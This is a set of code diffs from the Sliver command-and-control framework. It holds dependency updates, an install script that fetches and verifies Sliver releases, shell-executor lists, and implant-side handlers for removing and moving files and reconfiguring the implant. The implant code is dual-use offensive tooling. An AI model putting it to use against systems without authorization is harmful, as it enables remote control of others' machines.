@@ -131,6 +147,6 @@ func (p *PreludeSessionMapper) RemoveSession(s *clientpb.Session) (err error) {
|
||||
return err
|
||||
}
|
||||
|
||||
func (p *PreludeSessionMapper) GetConfig() *OperatorConfig {
|
||||
func (p *OperatorImplantMapper) GetConfig() *OperatorConfig {
|
||||
return p.conf
|
||||
}
|
||||
@@ -21,25 +21,23 @@ package util
|
||||
func DetermineExecutors(platform string, arch string) []string {
|
||||
platformExecutors := map[string]map[string][]string{
|
||||
"windows": {
|
||||
"file": {"pwsh.exe", "powershell.exe", "cmd.exe"},
|
||||
"executor": {"pwsh", "psh", "cmd", "bof"},
|
||||
"file": {"pwsh.exe", "powershell.exe", "cmd.exe", "", ""},
|
||||
"executor": {"pwsh", "psh", "cmd", "bof", "exec"},
|
||||
},
|
||||
"linux": {
|
||||
"file": {"python3", "pwsh", "sh", "bash"},
|
||||
"executor": {"python", "pwsh", "sh", "bash"},
|
||||
"file": {"python3", "sh", "bash"},
|
||||
"executor": {"python", "sh", "bash"},
|
||||
},
|
||||
"darwin": {
|
||||
"file": {"python3", "pwsh", "zsh", "sh", "osascript", "bash"},
|
||||
"executor": {"python", "pwsh", "zsh", "sh", "osa", "bash"},
|
||||
"file": {"python3", "zsh", "sh", "osascript", "bash"},
|
||||
"executor": {"python", "zsh", "sh", "osa", "bash"},
|
||||
},
|
||||
}
|
||||
var executors []string
|
||||
for platformKey, platformValue := range platformExecutors {
|
||||
if platform == platformKey {
|
||||
for i := range platformValue["file"] {
|
||||
// if checkIfExecutorAvailable(platformValue["file"][i]) {
|
||||
executors = append(executors, platformExecutors[platformKey]["executor"][i])
|
||||
// }
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+89
-83
@@ -1,7 +1,7 @@
|
||||
GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
activesupport (6.0.4)
|
||||
activesupport (6.0.4.6)
|
||||
concurrent-ruby (~> 1.0, >= 1.0.2)
|
||||
i18n (>= 0.7, < 2)
|
||||
minitest (~> 5.1)
|
||||
@@ -14,48 +14,54 @@ GEM
|
||||
execjs
|
||||
coffee-script-source (1.11.1)
|
||||
colorator (1.1.0)
|
||||
commonmarker (0.17.13)
|
||||
ruby-enum (~> 0.5)
|
||||
commonmarker (0.23.4)
|
||||
concurrent-ruby (1.1.9)
|
||||
dnsruby (1.61.7)
|
||||
dnsruby (1.61.9)
|
||||
simpleidn (~> 0.1)
|
||||
em-websocket (0.5.2)
|
||||
em-websocket (0.5.3)
|
||||
eventmachine (>= 0.12.9)
|
||||
http_parser.rb (~> 0.6.0)
|
||||
ethon (0.14.0)
|
||||
http_parser.rb (~> 0)
|
||||
ethon (0.15.0)
|
||||
ffi (>= 1.15.0)
|
||||
eventmachine (1.2.7)
|
||||
execjs (2.8.1)
|
||||
faraday (1.5.0)
|
||||
faraday (1.10.0)
|
||||
faraday-em_http (~> 1.0)
|
||||
faraday-em_synchrony (~> 1.0)
|
||||
faraday-excon (~> 1.1)
|
||||
faraday-httpclient (~> 1.0.1)
|
||||
faraday-httpclient (~> 1.0)
|
||||
faraday-multipart (~> 1.0)
|
||||
faraday-net_http (~> 1.0)
|
||||
faraday-net_http_persistent (~> 1.1)
|
||||
faraday-net_http_persistent (~> 1.0)
|
||||
faraday-patron (~> 1.0)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
faraday-rack (~> 1.0)
|
||||
faraday-retry (~> 1.0)
|
||||
ruby2_keywords (>= 0.0.4)
|
||||
faraday-em_http (1.0.0)
|
||||
faraday-em_synchrony (1.0.0)
|
||||
faraday-excon (1.1.0)
|
||||
faraday-httpclient (1.0.1)
|
||||
faraday-multipart (1.0.3)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
faraday-net_http (1.0.1)
|
||||
faraday-net_http_persistent (1.1.0)
|
||||
faraday-net_http_persistent (1.2.0)
|
||||
faraday-patron (1.0.0)
|
||||
ffi (1.15.3)
|
||||
faraday-rack (1.0.0)
|
||||
faraday-retry (1.0.3)
|
||||
ffi (1.15.5)
|
||||
forwardable-extended (2.6.0)
|
||||
gemoji (3.0.1)
|
||||
github-pages (215)
|
||||
github-pages-health-check (= 1.17.2)
|
||||
github-pages (225)
|
||||
github-pages-health-check (= 1.17.9)
|
||||
jekyll (= 3.9.0)
|
||||
jekyll-avatar (= 0.7.0)
|
||||
jekyll-coffeescript (= 1.1.1)
|
||||
jekyll-commonmark-ghpages (= 0.1.6)
|
||||
jekyll-commonmark-ghpages (= 0.2.0)
|
||||
jekyll-default-layout (= 0.1.4)
|
||||
jekyll-feed (= 0.15.1)
|
||||
jekyll-gist (= 1.5.0)
|
||||
jekyll-github-metadata (= 2.13.0)
|
||||
jekyll-include-cache (= 0.2.1)
|
||||
jekyll-mentions (= 1.6.0)
|
||||
jekyll-optional-front-matter (= 0.3.2)
|
||||
jekyll-paginate (= 1.1.0)
|
||||
@@ -64,22 +70,22 @@ GEM
|
||||
jekyll-relative-links (= 0.6.1)
|
||||
jekyll-remote-theme (= 0.4.3)
|
||||
jekyll-sass-converter (= 1.5.2)
|
||||
jekyll-seo-tag (= 2.7.1)
|
||||
jekyll-seo-tag (= 2.8.0)
|
||||
jekyll-sitemap (= 1.4.0)
|
||||
jekyll-swiss (= 1.0.0)
|
||||
jekyll-theme-architect (= 0.1.1)
|
||||
jekyll-theme-cayman (= 0.1.1)
|
||||
jekyll-theme-dinky (= 0.1.1)
|
||||
jekyll-theme-hacker (= 0.1.2)
|
||||
jekyll-theme-leap-day (= 0.1.1)
|
||||
jekyll-theme-merlot (= 0.1.1)
|
||||
jekyll-theme-midnight (= 0.1.1)
|
||||
jekyll-theme-minimal (= 0.1.1)
|
||||
jekyll-theme-modernist (= 0.1.1)
|
||||
jekyll-theme-primer (= 0.5.4)
|
||||
jekyll-theme-slate (= 0.1.1)
|
||||
jekyll-theme-tactile (= 0.1.1)
|
||||
jekyll-theme-time-machine (= 0.1.1)
|
||||
jekyll-theme-architect (= 0.2.0)
|
||||
jekyll-theme-cayman (= 0.2.0)
|
||||
jekyll-theme-dinky (= 0.2.0)
|
||||
jekyll-theme-hacker (= 0.2.0)
|
||||
jekyll-theme-leap-day (= 0.2.0)
|
||||
jekyll-theme-merlot (= 0.2.0)
|
||||
jekyll-theme-midnight (= 0.2.0)
|
||||
jekyll-theme-minimal (= 0.2.0)
|
||||
jekyll-theme-modernist (= 0.2.0)
|
||||
jekyll-theme-primer (= 0.6.0)
|
||||
jekyll-theme-slate (= 0.2.0)
|
||||
jekyll-theme-tactile (= 0.2.0)
|
||||
jekyll-theme-time-machine (= 0.2.0)
|
||||
jekyll-titles-from-headings (= 0.5.3)
|
||||
jemoji (= 0.12.0)
|
||||
kramdown (= 2.3.1)
|
||||
@@ -87,19 +93,19 @@ GEM
|
||||
liquid (= 4.0.3)
|
||||
mercenary (~> 0.3)
|
||||
minima (= 2.5.1)
|
||||
nokogiri (>= 1.10.4, < 2.0)
|
||||
nokogiri (>= 1.12.5, < 2.0)
|
||||
rouge (= 3.26.0)
|
||||
terminal-table (~> 1.4)
|
||||
github-pages-health-check (1.17.2)
|
||||
github-pages-health-check (1.17.9)
|
||||
addressable (~> 2.3)
|
||||
dnsruby (~> 1.60)
|
||||
octokit (~> 4.0)
|
||||
public_suffix (>= 2.0.2, < 5.0)
|
||||
public_suffix (>= 3.0, < 5.0)
|
||||
typhoeus (~> 1.3)
|
||||
html-pipeline (2.14.0)
|
||||
activesupport (>= 2)
|
||||
nokogiri (>= 1.4)
|
||||
http_parser.rb (0.6.0)
|
||||
http_parser.rb (0.8.0)
|
||||
i18n (0.9.5)
|
||||
concurrent-ruby (~> 1.0)
|
||||
jekyll (3.9.0)
|
||||
@@ -120,12 +126,12 @@ GEM
|
||||
jekyll-coffeescript (1.1.1)
|
||||
coffee-script (~> 2.2)
|
||||
coffee-script-source (~> 1.11.1)
|
||||
jekyll-commonmark (1.3.1)
|
||||
commonmarker (~> 0.14)
|
||||
jekyll (>= 3.7, < 5.0)
|
||||
jekyll-commonmark-ghpages (0.1.6)
|
||||
commonmarker (~> 0.17.6)
|
||||
jekyll-commonmark (~> 1.2)
|
||||
jekyll-commonmark (1.4.0)
|
||||
commonmarker (~> 0.22)
|
||||
jekyll-commonmark-ghpages (0.2.0)
|
||||
commonmarker (~> 0.23.4)
|
||||
jekyll (~> 3.9.0)
|
||||
jekyll-commonmark (~> 1.4.0)
|
||||
rouge (>= 2.0, < 4.0)
|
||||
jekyll-default-layout (0.1.4)
|
||||
jekyll (~> 3.0)
|
||||
@@ -136,6 +142,8 @@ GEM
|
||||
jekyll-github-metadata (2.13.0)
|
||||
jekyll (>= 3.4, < 5.0)
|
||||
octokit (~> 4.0, != 4.4.0)
|
||||
jekyll-include-cache (0.2.1)
|
||||
jekyll (>= 3.7, < 5.0)
|
||||
jekyll-mentions (1.6.0)
|
||||
html-pipeline (~> 2.3)
|
||||
jekyll (>= 3.7, < 5.0)
|
||||
@@ -155,50 +163,50 @@ GEM
|
||||
rubyzip (>= 1.3.0, < 3.0)
|
||||
jekyll-sass-converter (1.5.2)
|
||||
sass (~> 3.4)
|
||||
jekyll-seo-tag (2.7.1)
|
||||
jekyll-seo-tag (2.8.0)
|
||||
jekyll (>= 3.8, < 5.0)
|
||||
jekyll-sitemap (1.4.0)
|
||||
jekyll (>= 3.7, < 5.0)
|
||||
jekyll-swiss (1.0.0)
|
||||
jekyll-theme-architect (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-cayman (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-dinky (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-hacker (0.1.2)
|
||||
jekyll-theme-architect (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-leap-day (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-theme-cayman (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-merlot (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-theme-dinky (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-midnight (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-theme-hacker (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-minimal (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-theme-leap-day (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-modernist (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-theme-merlot (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-primer (0.5.4)
|
||||
jekyll-theme-midnight (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-minimal (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-modernist (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-primer (0.6.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-github-metadata (~> 2.9)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-slate (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-theme-slate (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-tactile (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-theme-tactile (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-time-machine (0.1.1)
|
||||
jekyll (~> 3.5)
|
||||
jekyll-theme-time-machine (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-titles-from-headings (0.5.3)
|
||||
jekyll (>= 3.3, < 5.0)
|
||||
@@ -213,35 +221,33 @@ GEM
|
||||
kramdown-parser-gfm (1.1.0)
|
||||
kramdown (~> 2.0)
|
||||
liquid (4.0.3)
|
||||
listen (3.5.1)
|
||||
listen (3.7.1)
|
||||
rb-fsevent (~> 0.10, >= 0.10.3)
|
||||
rb-inotify (~> 0.9, >= 0.9.10)
|
||||
mercenary (0.3.6)
|
||||
mini_portile2 (2.6.1)
|
||||
mini_portile2 (2.8.0)
|
||||
minima (2.5.1)
|
||||
jekyll (>= 3.5, < 5.0)
|
||||
jekyll-feed (~> 0.9)
|
||||
jekyll-seo-tag (~> 2.1)
|
||||
minitest (5.14.4)
|
||||
minitest (5.15.0)
|
||||
multipart-post (2.1.1)
|
||||
nokogiri (1.12.5)
|
||||
mini_portile2 (~> 2.6.1)
|
||||
nokogiri (1.13.3)
|
||||
mini_portile2 (~> 2.8.0)
|
||||
racc (~> 1.4)
|
||||
octokit (4.21.0)
|
||||
octokit (4.22.0)
|
||||
faraday (>= 0.9)
|
||||
sawyer (~> 0.8.0, >= 0.5.3)
|
||||
pathutil (0.16.2)
|
||||
forwardable-extended (~> 2.6)
|
||||
public_suffix (4.0.6)
|
||||
racc (1.5.2)
|
||||
rb-fsevent (0.11.0)
|
||||
racc (1.6.0)
|
||||
rb-fsevent (0.11.1)
|
||||
rb-inotify (0.10.1)
|
||||
ffi (~> 1.0)
|
||||
rexml (3.2.5)
|
||||
rouge (3.26.0)
|
||||
ruby-enum (0.9.0)
|
||||
i18n
|
||||
ruby2_keywords (0.0.4)
|
||||
ruby2_keywords (0.0.5)
|
||||
rubyzip (2.3.2)
|
||||
safe_yaml (1.0.5)
|
||||
sass (3.7.4)
|
||||
@@ -261,14 +267,14 @@ GEM
|
||||
ethon (>= 0.9.0)
|
||||
tzinfo (1.2.9)
|
||||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2021.1)
|
||||
tzinfo-data (1.2021.5)
|
||||
tzinfo (>= 1.0.0)
|
||||
unf (0.1.4)
|
||||
unf_ext
|
||||
unf_ext (0.0.7.7)
|
||||
unicode-display_width (1.7.0)
|
||||
unf_ext (0.0.8)
|
||||
unicode-display_width (1.8.0)
|
||||
wdm (0.1.1)
|
||||
zeitwerk (2.4.2)
|
||||
zeitwerk (2.5.4)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
||||
+11
-32
@@ -10,13 +10,13 @@ fi
|
||||
|
||||
if [ -n "$(command -v yum)" ]
|
||||
then
|
||||
yum -y install zip unzip gnupg curl gcc gcc-c++ make mingw64-gcc
|
||||
yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc
|
||||
fi
|
||||
|
||||
if [ -n "$(command -v apt-get)" ]
|
||||
then
|
||||
DEBIAN_FRONTEND=noninteractive apt-get install -yqq \
|
||||
zip unzip gpg curl build-essential \
|
||||
gpg curl build-essential \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64
|
||||
fi
|
||||
|
||||
@@ -32,12 +32,6 @@ then
|
||||
echo "awk could not be found"
|
||||
exit 1
|
||||
fi
|
||||
# Zip
|
||||
if ! command -v zip &> /dev/null
|
||||
then
|
||||
echo "zip could not be found"
|
||||
exit 1
|
||||
fi
|
||||
# GPG
|
||||
if ! command -v gpg &> /dev/null
|
||||
then
|
||||
@@ -106,49 +100,34 @@ EOF
|
||||
# Download and Unpack Sliver Server
|
||||
#
|
||||
ARTIFACTS=$(curl -s "https://api.github.com/repos/BishopFox/sliver/releases/latest" | awk -F '"' '/browser_download_url/{print $4}')
|
||||
SLIVER_SERVER_ZIP='sliver-server_linux.zip'
|
||||
SLIVER_CLIENT_ZIP='sliver-client_linux.zip'
|
||||
SLIVER_SERVER='sliver-server'
|
||||
SLIVER_CLIENT='sliver-client'
|
||||
SLIVER_SERVER='sliver-server_linux'
|
||||
SLIVER_CLIENT='sliver-client_linux'
|
||||
|
||||
|
||||
for URL in $ARTIFACTS
|
||||
do
|
||||
if [[ "$URL" == *"$SLIVER_SERVER_ZIP"* ]]; then
|
||||
if [[ "$URL" == *"$SLIVER_SERVER"* ]]; then
|
||||
echo "Downloading $URL"
|
||||
curl --silent -L $URL --output $(basename $URL)
|
||||
fi
|
||||
if [[ "$URL" == *"$SLIVER_CLIENT_ZIP"* ]]; then
|
||||
if [[ "$URL" == *"$SLIVER_CLIENT"* ]]; then
|
||||
echo "Downloading $URL"
|
||||
curl --silent -L $URL --output $(basename $URL)
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Verifying signatures ..."
|
||||
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER_ZIP.sig /root/$SLIVER_SERVER_ZIP
|
||||
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT_ZIP.sig /root/$SLIVER_CLIENT_ZIP
|
||||
|
||||
if test -f "/root/$SLIVER_SERVER_ZIP"; then
|
||||
unzip -o /root/$SLIVER_SERVER_ZIP -d /root
|
||||
rm -f /root/$SLIVER_SERVER_ZIP
|
||||
else
|
||||
exit 2
|
||||
fi
|
||||
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER.sig /root/$SLIVER_SERVER
|
||||
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT.sig /root/$SLIVER_CLIENT
|
||||
|
||||
if test -f "/root/$SLIVER_SERVER"; then
|
||||
chmod 755 /root/$SLIVER_SERVER
|
||||
/root/$SLIVER_SERVER unpack --force
|
||||
mv /root/$SLIVER_SERVER /root/sliver-server
|
||||
chmod 755 /root/sliver-server
|
||||
/root/sliver-server unpack --force
|
||||
else
|
||||
exit 3
|
||||
fi
|
||||
|
||||
if test -f "/root/$SLIVER_CLIENT_ZIP"; then
|
||||
unzip -o /root/$SLIVER_CLIENT_ZIP -d /root
|
||||
rm -f /root/$SLIVER_CLIENT_ZIP
|
||||
else
|
||||
exit 2
|
||||
fi
|
||||
|
||||
if test -f "/root/$SLIVER_CLIENT"; then
|
||||
chmod 755 /root/$SLIVER_CLIENT
|
||||
cp -vv /root/$SLIVER_CLIENT /usr/local/bin/sliver
|
||||
|
||||
+2
-2
@@ -20,8 +20,8 @@ set -e
|
||||
|
||||
# Creates the static go asset archives
|
||||
|
||||
GO_VER="1.17.6"
|
||||
GARBLE_VER="1.17.5"
|
||||
GO_VER="1.18"
|
||||
GARBLE_VER="1.18.0"
|
||||
|
||||
GO_ARCH_1="amd64"
|
||||
GO_ARCH_2="arm64"
|
||||
|
||||
@@ -2,9 +2,6 @@ module github.com/bishopfox/sliver
|
||||
|
||||
go 1.17
|
||||
|
||||
// fix wgctrl requiring old wireguard
|
||||
replace golang.zx2c4.com/wireguard => golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93
|
||||
|
||||
replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.4
|
||||
|
||||
require (
|
||||
@@ -14,7 +11,7 @@ require (
|
||||
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
|
||||
github.com/Microsoft/go-winio v0.4.16 // indirect
|
||||
github.com/Microsoft/go-winio v0.5.1 // indirect
|
||||
github.com/alecthomas/chroma v0.8.1
|
||||
github.com/cheggaaa/pb/v3 v3.0.5
|
||||
github.com/desertbit/columnize v2.1.0+incompatible
|
||||
@@ -39,32 +36,32 @@ require (
|
||||
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
|
||||
github.com/pquerna/otp v1.3.0
|
||||
github.com/sergi/go-diff v1.1.0 // indirect
|
||||
github.com/sirupsen/logrus v1.7.0
|
||||
github.com/sirupsen/logrus v1.8.1
|
||||
github.com/spf13/cobra v1.1.1
|
||||
github.com/stretchr/testify v1.7.0
|
||||
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
|
||||
golang.org/x/net v0.0.0-20210614182718-04defd469f4e
|
||||
golang.org/x/sys v0.0.0-20211117180635-dee7805ff2e1
|
||||
golang.org/x/text v0.3.6
|
||||
golang.zx2c4.com/wireguard v0.0.20200121
|
||||
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20200609130330-bd2cb7843e1b
|
||||
google.golang.org/genproto v0.0.0-20210406143921-e86de6bf7a46 // indirect
|
||||
google.golang.org/grpc v1.37.0
|
||||
google.golang.org/protobuf v1.26.0
|
||||
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
|
||||
golang.org/x/net v0.0.0-20220225172249-27dd8689420f
|
||||
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
|
||||
golang.org/x/text v0.3.7
|
||||
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
|
||||
google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
|
||||
google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
|
||||
google.golang.org/protobuf v1.27.1
|
||||
gopkg.in/AlecAivazis/survey.v1 v1.8.8
|
||||
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
|
||||
gorm.io/driver/mysql v1.0.3
|
||||
gorm.io/driver/postgres v1.0.5
|
||||
gorm.io/driver/sqlite v1.1.3
|
||||
gorm.io/gorm v1.21.14
|
||||
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
|
||||
github.com/shirou/gopsutil/v3 v3.21.10
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
|
||||
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
|
||||
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
|
||||
modernc.org/sqlite v1.14.3
|
||||
)
|
||||
|
||||
@@ -106,11 +103,11 @@ require (
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
|
||||
github.com/spf13/pflag v1.0.5 // indirect
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
|
||||
golang.org/x/mod v0.3.0 // indirect
|
||||
golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d // indirect
|
||||
golang.org/x/mod v0.5.1 // indirect
|
||||
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
|
||||
golang.org/x/tools v0.1.0 // indirect
|
||||
golang.org/x/tools v0.1.9 // indirect
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
|
||||
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
|
||||
google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e // indirect
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
|
||||
lukechampine.com/uint128 v1.1.1 // indirect
|
||||
|
||||
+19
-19
@@ -1,24 +1,24 @@
|
||||
module github.com/bishopfox/sliver
|
||||
|
||||
go 1.16
|
||||
go 1.17
|
||||
|
||||
require (
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
|
||||
github.com/Microsoft/go-winio v0.5.0 // indirect
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
|
||||
github.com/gofrs/uuid v4.0.0+incompatible
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/pquerna/otp v1.3.0
|
||||
github.com/stretchr/testify v1.7.0
|
||||
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
|
||||
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4
|
||||
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22
|
||||
golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93
|
||||
golang.zx2c4.com/wireguard/windows v0.5.1
|
||||
google.golang.org/protobuf v1.23.0
|
||||
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
|
||||
github.com/Microsoft/go-winio v0.5.0 // indirect
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
|
||||
github.com/gofrs/uuid v4.0.0+incompatible
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/pquerna/otp v1.3.0
|
||||
github.com/stretchr/testify v1.7.0
|
||||
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
|
||||
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4
|
||||
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22
|
||||
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
|
||||
golang.zx2c4.com/wireguard/windows v0.5.1
|
||||
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
|
||||
google.golang.org/protobuf v1.23.0
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
)
|
||||
@@ -137,7 +137,7 @@ func ECCEncryptToServer(plaintext []byte) ([]byte, error) {
|
||||
return msg, nil
|
||||
}
|
||||
|
||||
// ECCEncryptToPeer - Encrypt using the server's public key
|
||||
// ECCEncryptToPeer - Encrypt using the peer's public key
|
||||
func ECCEncryptToPeer(recipientPublicKey []byte, recipientPublicKeySig string, plaintext []byte) ([]byte, error) {
|
||||
valid := MinisignVerify(recipientPublicKey, recipientPublicKeySig)
|
||||
if !valid {
|
||||
@@ -153,7 +153,7 @@ func ECCEncryptToPeer(recipientPublicKey []byte, recipientPublicKeySig string, p
|
||||
return ciphertext, nil
|
||||
}
|
||||
|
||||
// ECCEncryptToPeer - Encrypt using the server's public key
|
||||
// ECCDecryptFromPeer - Decrypt a message from a peer
|
||||
func ECCDecryptFromPeer(senderPublicKey []byte, senderPublicKeySig string, ciphertext []byte) ([]byte, error) {
|
||||
valid := MinisignVerify(senderPublicKey, senderPublicKeySig)
|
||||
if !valid {
|
||||
|
||||
@@ -153,7 +153,7 @@ func rmHandler(data []byte, resp RPCResponse) {
|
||||
_, err = os.Stat(target)
|
||||
if err == nil {
|
||||
if (target == "/" || target == "C:\\") && !rmReq.Force {
|
||||
err = errors.New("Cowardly refusing to remove volume root without force")
|
||||
err = errors.New("cowardly refusing to remove volume root without force")
|
||||
}
|
||||
}
|
||||
|
||||
@@ -178,6 +178,28 @@ func rmHandler(data []byte, resp RPCResponse) {
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func mvHandler(data []byte, resp RPCResponse) {
|
||||
mvReq := &sliverpb.MvReq{}
|
||||
err := proto.Unmarshal(data, mvReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
|
||||
move := &sliverpb.Mv{}
|
||||
err = os.Rename(mvReq.Src, mvReq.Dst)
|
||||
if err != nil {
|
||||
move.Response = &commonpb.Response{
|
||||
Err: err.Error(),
|
||||
}
|
||||
}
|
||||
|
||||
data, err = proto.Marshal(move)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func mkdirHandler(data []byte, resp RPCResponse) {
|
||||
mkdirReq := &sliverpb.MkdirReq{}
|
||||
err := proto.Unmarshal(data, mkdirReq)
|
||||
@@ -529,31 +551,30 @@ func unsetEnvHandler(data []byte, resp RPCResponse) {
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func reconnectIntervalHandler(data []byte, resp RPCResponse) {
|
||||
reconnectIntervalReq := &sliverpb.ReconnectIntervalReq{}
|
||||
err := proto.Unmarshal(data, reconnectIntervalReq)
|
||||
func reconfigureHandler(data []byte, resp RPCResponse) {
|
||||
reconfigReq := &sliverpb.ReconfigureReq{}
|
||||
err := proto.Unmarshal(data, reconfigReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v\n", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
|
||||
reconnectInterval := reconnectIntervalReq.GetReconnectInterval()
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Update reconnect interval called: %d\n", reconnectInterval)
|
||||
// {{end}}
|
||||
|
||||
// Set the reconnect interval value
|
||||
transports.SetReconnectInterval(reconnectInterval)
|
||||
|
||||
recIntervalResp := &sliverpb.ReconnectInterval{}
|
||||
